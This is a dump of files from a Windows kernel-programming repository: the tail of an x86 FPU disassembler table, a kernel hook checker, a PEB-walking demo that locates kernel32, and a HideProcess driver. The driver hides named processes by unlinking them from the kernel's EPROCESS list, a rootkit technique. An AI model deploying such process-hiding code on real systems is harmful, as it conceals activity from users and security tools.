\n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fstsw\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FUCOMIP,\"fucomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMIP,\"fcomip\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n};\n\n// Table of FPU instruction tables\n\n/*\n * These tables are accessed by the following way:\n *\n * INST *fpuinst = inst_table4[opcode - 0xd8][index];\n * where index is determined by the MODRM byte.\n *\n */\nINST * inst_table4[8] = {\n inst_table_fpu_d8,\n inst_table_fpu_d9,\n inst_table_fpu_da,\n inst_table_fpu_db,\n inst_table_fpu_dc,\n inst_table_fpu_dd,\n inst_table_fpu_de,\n inst_table_fpu_df,\n};\n\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"CheckKernelHook\", \"CheckKernelHook\\CheckKernelHook.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tRelease|Win32 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.Build.0 = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "CheckKernelEATHook/ReadMe.txt", "content": "1.Reload the first kernel module\n2.check EAT function (Zwxx) \n3.check InlineHook (not Zwxx)\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.cpp", "content": "// GetKernel32Addressx64.cpp : ̨Ӧóڵ㡣\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"GetKernel32Addressx64.h\"\r\n\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\n// ΨһӦó\r\n\r\nCWinApp theApp;\r\n\r\nusing namespace std;\r\n\r\n#include\r\nextern \"C\" PVOID64 _cdecl GetPeb();\r\n\r\n\r\ntypedef struct _UNICODE_STRING {\r\n USHORT Length;\r\n USHORT MaximumLength;\r\n PWSTR Buffer;\r\n}UNICODE_STRING, *PUNICODE_STRING;\r\n\r\nint _tmain(int argc, TCHAR* argv[], TCHAR* envp[])\r\n{\r\n PVOID64 Peb = NULL;\r\n PVOID64 LDR_DATA_Addr = NULL;\r\n UNICODE_STRING* FullName; \r\n HMODULE hKernel32 = NULL;\r\n LIST_ENTRY* pNode = NULL;\r\n\r\n // For win7 x64 TEST\r\n Peb = GetPeb();\r\n if(Peb == NULL)\r\n return 0;\r\n\r\n LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb+0x018);\r\n if(LDR_DATA_Addr == NULL)\r\n return 0;\r\n\r\n pNode =(LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr+0x30));\r\n while(true)\r\n {\r\n FullName = (UNICODE_STRING*)((BYTE*)pNode+0x38);\r\n if(*(FullName->Buffer + 12) == '\\0')\r\n {\r\n hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode+0x10)));\r\n break;\r\n }\r\n pNode = pNode->Flink;\r\n }\r\n printf(\"%S : %p\",FullName->Buffer,hKernel32);\r\n \r\n return 0;\r\n}\r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.h", "content": "#pragma once\r\n\r\n#include \"resource.h\"\r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {1215E56F-670D-4DBF-9750-D7EB3D74F4B9}\r\n Win32Proj\r\n GetKernel32Addressx64\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n ProgramDatabase\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\r\n \r\n \r\n Console\r\n true\r\n true\r\n true\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n C:\\Users\\TyLtw\\Documents\\Visual Studio 2010\\Projects\\GetKernel32Addressx64;%(IncludePaths)\r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/GetKernel32Addressx64.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/GetPeb.asm", "content": "\r\n.CODE\r\n GetPeb PROC \r\n mov rax,gs:[60h]\r\n ret\r\n GetPeb ENDP\r\n END" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/Resource.h", "content": "//{{NO_DEPENDENCIES}}\r\n// Microsoft Visual C++ generated include file.\r\n// Used by GetKernel32Addressx64.rc\r\n//\r\n\r\n#define IDS_APP_TITLE 103\r\n\r\n// ¶һĬֵ\r\n//\r\n#ifdef APSTUDIO_INVOKED\r\n#ifndef APSTUDIO_READONLY_SYMBOLS\r\n#define _APS_NEXT_RESOURCE_VALUE 101\r\n#define _APS_NEXT_COMMAND_VALUE 40001\r\n#define _APS_NEXT_CONTROL_VALUE 1000\r\n#define _APS_NEXT_SYMED_VALUE 101\r\n#endif\r\n#endif\r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/stdafx.cpp", "content": "// stdafx.cpp : ֻ׼ļԴļ\r\n// GetKernel32Addressx64.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: STDAFX.H \r\n// κĸͷļڴļ\r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/stdafx.h", "content": "// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include \r\n#include \r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ\r\n\r\n#ifndef VC_EXTRALEAN\r\n#define VC_EXTRALEAN // Windows ͷļųʹõϢ\r\n#endif\r\n\r\n#include \r\n#include // MFC ͱ׼\r\n#include // MFC չ\r\n#ifndef _AFX_NO_OLE_SUPPORT\r\n#include // MFC Internet Explorer 4 ؼ֧\r\n#endif\r\n#ifndef _AFX_NO_AFXCMN_SUPPORT\r\n#include // MFC Windows ؼ֧\r\n#endif // _AFX_NO_AFXCMN_SUPPORT\r\n\r\n#include \r\n\r\n\r\n\r\n// TODO: ڴ˴óҪͷļ\r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h õ߰汾 Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "GetKernel32Addressx64/GetKernel32Addressx64.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"GetKernel32Addressx64\", \"GetKernel32Addressx64\\GetKernel32Addressx64.vcxproj\", \"{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tRelease|Win32 = Release|Win32\r\n\t\tRelease|x64 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}.Release|x64.Build.0 = Release|x64\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "GetKernel32Addressx64/ReadMe.txt", "content": "in x64\n1.get peb from fs:[0x60] by asm file\n2.get Ldr by peb\n3.get kernel32 module in the third module \nntdll->kernelbase->kernel32\n\nin x86\n1.get peb from fs:[0x30] by inline asm\n2.get Ldr by peb\n3.get kernel32 module in the second module\nntdll->kernel32\n\nthe offset in the PEB is different from x64 and x86\nThis demo is only Test on Win7 x64\n" }, { "path": "HideProcess/HideProcess.c", "content": "#ifndef CXX_HIDEPROCESS_H\r\n#\tinclude \"HideProcess.h\"\r\n#endif\r\n\r\nULONG_PTR ActiveOffsetPre = 0;\r\nULONG_PTR ActiveOffsetNext = 0;\r\nULONG_PTR ImageName = 0; \r\nWIN_VERSION WinVersion = WINDOWS_UNKNOW;\r\n\r\nNTSTATUS\r\nDriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)\r\n{\r\n\tDbgPrint(\"DriverEntry\\r\\n\");\r\n\r\n\tDriverObject->DriverUnload = UnloadDriver;\r\n\r\n\tWinVersion = GetWindowsVersion();\r\n\r\n switch(WinVersion)\r\n\t{\r\n#ifdef _WIN32\r\n\tcase WINDOWS_XP: //32Bits\r\n\t\t{\r\n\r\n\t\t\tActiveOffsetPre = 0x8c;\r\n\t\t\tActiveOffsetNext = 0x88;\r\n\t\t\tImageName = 0x174; \r\n\t\t\tbreak;\r\n\t\t}\r\n#else\r\n\tcase WINDOWS_7: //64Bits \r\n\t\t{\r\n\t\t\tActiveOffsetPre = 0x190;\r\n\t\t\tActiveOffsetNext = 0x188;\r\n\t\t\tImageName = 0x2e0; \r\n\t\t\tbreak;\r\n\t\t}\r\n#endif\r\n\tdefault:\r\n\t\treturn STATUS_NOT_SUPPORTED;\r\n\t}\r\n\r\n\tHideProcess(\"explorer.exe\");\r\n\tHideProcess(\"notepad.exe\");\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\nVOID HideProcess(char* ProcessName)\r\n{\r\n\tPEPROCESS CurrentProcess = NULL;\r\n\tPEPROCESS PreProcess = NULL;\r\n\tPLIST_ENTRY Temp = NULL;\r\n\r\n\tif(!ProcessName)\r\n\t\treturn;\r\n\r\n\tCurrentProcess = PsGetCurrentProcess(); //System EProcess\r\n\tPreProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)CurrentProcess + ActiveOffsetPre))) - ActiveOffsetNext); \r\n\r\n\twhile (CurrentProcess != PreProcess)\r\n\t{\r\n\t //DbgPrint(\"%s\\r\\n\",(char*)((ULONG_PTR)CurrentProcess + ImageName));\r\n\t\tif(strcmp((char*)((ULONG_PTR)CurrentProcess + ImageName), ProcessName) == 0)\r\n\t\t{\r\n\t\t\tTemp = (PLIST_ENTRY)((ULONG_PTR)CurrentProcess + ActiveOffsetNext);\r\n\r\n\t\t\tif (MmIsAddressValid(Temp))\r\n\t\t\t{\r\n\t\t\t\tRemoveEntryList(Temp);\t\t\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\tCurrentProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)CurrentProcess + ActiveOffsetNext))) - ActiveOffsetNext);\r\n\t}\r\n}\r\n\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject)\r\n{\r\n\tDbgPrint(\"UnloadDriver\\r\\n\");\r\n}\r\n\r\nWIN_VERSION GetWindowsVersion()\r\n{\r\n\tRTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; \r\n\tpfnRtlGetVersion RtlGetVersion = NULL;\r\n\tWIN_VERSION WinVersion;\r\n\tWCHAR szRtlGetVersion[] = L\"RtlGetVersion\";\r\n\r\n\tRtlGetVersion = (pfnRtlGetVersion)GetFunctionAddressByName(szRtlGetVersion); \r\n\r\n\tif (RtlGetVersion)\r\n\t{\r\n\t\tRtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); \r\n\t} \r\n\telse \r\n\t{\r\n\t\tPsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL);\r\n\t}\r\n\r\n\t//x64λ֧\r\n\tif(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7600)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 7\\r\\n\");\r\n\t\tWinVersion = WINDOWS_7_7600;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7601)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 7\\r\\n\");\r\n\t\tWinVersion = WINDOWS_7_7601;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 2 && osverInfo.dwBuildNumber == 9200)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 8\\r\\n\");\r\n\t\tWinVersion = WINDOWS_8_9200;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 3 && osverInfo.dwBuildNumber == 9600)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 8.1\\r\\n\");\r\n\t\tWinVersion = WINDOWS_8_9600;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10240)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 10 10240\\r\\n\");\r\n\t\tWinVersion = WINDOWS_10_10240;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10586)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 10 10586\\r\\n\");\r\n\t\tWinVersion = WINDOWS_10_10586;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 14393)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 10 14393\\r\\n\");\r\n\t\tWinVersion = WINDOWS_10_14393;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 15063)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 10 15063\\r\\n\");\r\n\t\tWinVersion = WINDOWS_10_15063;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 16299)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 10 16299\\r\\n\");\r\n\t\tWinVersion = WINDOWS_10_16299;\r\n\t}\r\n\telse if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 17134)\r\n\t{\r\n\t\tDbgPrint(\"WINDOWS 10 17134\\r\\n\");\r\n\t\tWinVersion = WINDOWS_10_17134;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tDbgPrint(\"This is a new os\\r\\n\");\r\n\t\tWinVersion = WINDOWS_UNKNOW;\r\n\t}\r\n\r\n\treturn WinVersion;\r\n}\r\n\r\nPVOID \r\nGetFunctionAddressByName(WCHAR *wzFunction)\r\n{\r\n\tUNICODE_STRING uniFunction; \r\n\tPVOID AddrBase = NULL;\r\n\r\n\tif (wzFunction && wcslen(wzFunction) > 0)\r\n\t{\r\n\t\tRtlInitUnicodeString(&uniFunction, wzFunction); //ָ\r\n\t\tAddrBase = MmGetSystemRoutineAddress(&uniFunction); //System һģ Ntosknrl.exe ExportTable\r\n\t}\r\n\r\n\treturn AddrBase;\r\n}\r\n\r\n" }, { "path": "HideProcess/HideProcess.h", "content": "#ifndef CXX_HIDEPROCESS_H\r\n#define CXX_HIDEPROCESS_H\r\n\r\n#include \r\n\r\ntypedef enum WIN_VERSION {\r\n\tWINDOWS_XP,\r\n\tWINDOWS_7_7600,\r\n\tWINDOWS_7_7601,\r\n\tWINDOWS_8_9200,\r\n\tWINDOWS_8_9600,\r\n\tWINDOWS_10_10240,\r\n\tWINDOWS_10_10586,\r\n\tWINDOWS_10_14393,\r\n\tWINDOWS_10_15063,\r\n\tWINDOWS_10_16299,\r\n\tWINDOWS_10_17134,\r\n\tWINDOWS_UNKNOW\r\n} WIN_VERSION;\r\n\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject);\r\nVOID HideProcess(char* ProcessName);\r\n\r\nWIN_VERSION GetWindowsVersion();\r\nPVOID \r\nGetFunctionAddressByName(WCHAR *wzFunction);\r\ntypedef \r\nNTSTATUS \r\n(*pfnRtlGetVersion)(OUT PRTL_OSVERSIONINFOW lpVersionInformation);\r\n#endif\r\n" }, { "path": "HideProcess/HideProcess.sln", "content": "Microsoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"HideProcess\", \"HideProcess.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "HideProcess/HideProcess.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"HideProcess\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "HideProcess/ReadMe.txt", "content": "HideProcess by Remove ProcessList in EPROCESS struct.\nSupport Windows xp and windows 7 OS, you can add other os's offset of ProcessList in EPROCESS to support more." }, { "path": "HideProcess/common.h", "content": "/**************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2016-8-29\r\n* MODULE : common.h\r\n*\r\n* Command: \r\n*\tIOCTRL Common Header\r\n*\r\n* Description:\r\n*\tCommon data for the IoCtrl driver and application\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once \r\n\r\n//#######################################################################################\r\n// D E F I N E S\r\n//#######################################################################################\r\n\r\n#if DBG\r\n#define dprintf DbgPrint\r\n#else\r\n#define dprintf\r\n#endif\r\n\r\n//ַ֧û\r\n#define DEVICE_NAME L\"\\\\Device\\\\devHideProcess\" // Driver Name\r\n#define SYMBOLIC_LINK_NAME L\"\\\\DosDevices\\\\HideProcess\" // Symbolic Link Name\r\n#define WIN32_LINK_NAME \"\\\\\\\\.\\\\HideProcess\" // Win32 Link Name\r\n\r\n//ַ֧û\r\n#define SYMBOLIC_LINK_GLOBAL_NAME L\"\\\\DosDevices\\\\Global\\\\HideProcess\" // Symbolic Link Name\r\n\r\n#define DATA_TO_APP \"Hello World from Driver\"\r\n\r\n//\r\n// Device IO Control Codes\r\n//\r\n#define IOCTL_BASE 0x800\r\n#define MY_CTL_CODE(i) \\\r\n CTL_CODE \\\r\n ( \\\r\n FILE_DEVICE_UNKNOWN, \\\r\n IOCTL_BASE + i, \\\r\n METHOD_BUFFERED, \\\r\n FILE_ANY_ACCESS \\\r\n )\r\n\r\n#define IOCTL_HELLO_WORLD MY_CTL_CODE(0)\r\n#define IOCTRL_REC_FROM_APP MY_CTL_CODE(1)\r\n#define IOCTRL_SEND_TO_APP MY_CTL_CODE(2)\r\n\r\n\r\n//\r\n// TODO: Add your IOCTL define 